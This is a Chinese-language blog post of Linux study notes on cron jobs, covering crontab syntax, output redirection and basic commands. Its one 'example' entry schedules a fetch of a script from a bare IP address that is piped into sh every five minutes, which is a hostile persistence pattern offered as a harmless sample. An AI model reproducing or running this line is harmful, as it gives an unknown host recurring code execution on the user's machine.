当前位置: 首页 > news >正文

Linux运维学习笔记-定时任务知识总结

定时任务编辑规范流程:

 

 

重要知识点:

切记用全路径编写定时脚本、定时任务

大部分在 crontab 计划任务中都会年到未尾带 >/dev/null 2>&1,是什么意思呢?

> 是重定向
/dev/null 代表空设备文件
1 表示stdout标准输出,系统默认值是1,所以 ">/dev/null" 等同于 "1>/dev/null"
2 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1

 

整句的意思就是标准输出重定向到空设备文件,也就是不输出任何信息到终端,标准错误输出重定向等同于标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件

 

&>/dev/null  即不管输出是什么都从定向到/dev/null

command > file 2>file command > file 2>&1 有什么区别呢?

command > file 2>file 的意思是将命令所产生的标准输出信息,和错误的输出信息送到file 中.command > file 2>file 这样的写法,stdout和stderr都直接送到file中, file会被打开两次,这样stdout和stderr会互相覆盖,这样写相当使用了FD1和FD2两个同时去抢占file 的管道。而command >file 2>&1 这条命令就将stdout直接送向file, stderr 继承了FD1管道后,再被送往file,此时,file 只被打开了一次,也只使用了一个管道FD1,它包括了stdout和stderr的内容。从IO效率上,前一条命令的效率要比后面一条的命令效率要低,所以在编写shell脚本的时候,较多的时候我们会用command > file 2>&1 这样的写法。

 

 

定时任务语法:

01   *    *      *      *      cmd

分    时    日    月    周    任务

crontab语法格式中时间段的含义如下表

含义

取值范围(整数)

第一段

代表分钟

00 – 59 (00也可以是0)

第二段

代表小时

00 – 23

第三段

代表日,天

01 – 31

第四段

代表月份

01 – 12

第五段

代表星期,周几

0 -7(0和7都代表星期日)

提示:时间记忆口诀(分时日月周)。取值范围记录(正常日期时间范围)

 

定时任务编辑位置:/etc/crontab

编辑定时任务:crontab -e

查看当前用户定时任务:crontab -l

 

定时任务例子:

*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

 

转载于:https://www.cnblogs.com/tcheng/p/8595313.html

相关文章:

  • 购物车程序练习
  • 使用Promise链式调用解决多个异步回调的问题
  • JetBrains发布Kotlin 1.2.30
  • MySQL和Java数据类型对应
  • [NBIoT]NBIoT相关知识
  • 常用算法总结
  • 人工智能带动 嵌入式深度学习芯片激增
  • io、free、ps 命令
  • 微服务:Java EE的拯救者还是掘墓人?
  • java在开新的线程
  • 手游为什么要热更新,C#为什么不能热更新,LUA为什么可以
  • HDU 1232:畅通工程(并查集模板)
  • input按回车键,响应相关事件
  • 前端面试题:JS中的let和var的区别
  • CentOS 安装ActiveMQ
  • “Material Design”设计规范在 ComponentOne For WinForm 的全新尝试!
  • 8年软件测试工程师感悟——写给还在迷茫中的朋友
  • const let
  • Git同步原始仓库到Fork仓库中
  • HashMap ConcurrentHashMap
  • JavaScript标准库系列——Math对象和Date对象(二)
  • js学习笔记
  • macOS 中 shell 创建文件夹及文件并 VS Code 打开
  • Nacos系列:Nacos的Java SDK使用
  • Spring Cloud Alibaba迁移指南(一):一行代码从 Hystrix 迁移到 Sentinel
  • vue2.0项目引入element-ui
  • 闭包--闭包作用之保存(一)
  • 第13期 DApp 榜单 :来,吃我这波安利
  • 仿天猫超市收藏抛物线动画工具库
  • 基于MaxCompute打造轻盈的人人车移动端数据平台
  • 极限编程 (Extreme Programming) - 发布计划 (Release Planning)
  • 利用DataURL技术在网页上显示图片
  • 模仿 Go Sort 排序接口实现的自定义排序
  • 浅谈Golang中select的用法
  • 译自由幺半群
  • 责任链模式的两种实现
  • 《码出高效》学习笔记与书中错误记录
  • ionic异常记录
  • ​虚拟化系列介绍(十)
  • #我与Java虚拟机的故事#连载10: 如何在阿里、腾讯、百度、及字节跳动等公司面试中脱颖而出...
  • (9)YOLO-Pose:使用对象关键点相似性损失增强多人姿态估计的增强版YOLO
  • (AtCoder Beginner Contest 340) -- F - S = 1 -- 题解
  • (done) NLP “bag-of-words“ 方法 (带有二元分类和多元分类两个例子)词袋模型、BoW
  • (Mac上)使用Python进行matplotlib 画图时,中文显示不出来
  • (八)Flask之app.route装饰器函数的参数
  • (附源码)ssm基于微信小程序的疫苗管理系统 毕业设计 092354
  • (剑指Offer)面试题34:丑数
  • (论文阅读26/100)Weakly-supervised learning with convolutional neural networks
  • (淘宝无限适配)手机端rem布局详解(转载非原创)
  • (一)Java算法:二分查找
  • (转)从零实现3D图像引擎:(8)参数化直线与3D平面函数库
  • (转)为C# Windows服务添加安装程序
  • *(长期更新)软考网络工程师学习笔记——Section 22 无线局域网
  • ***检测工具之RKHunter AIDE
  • .apk 成为历史!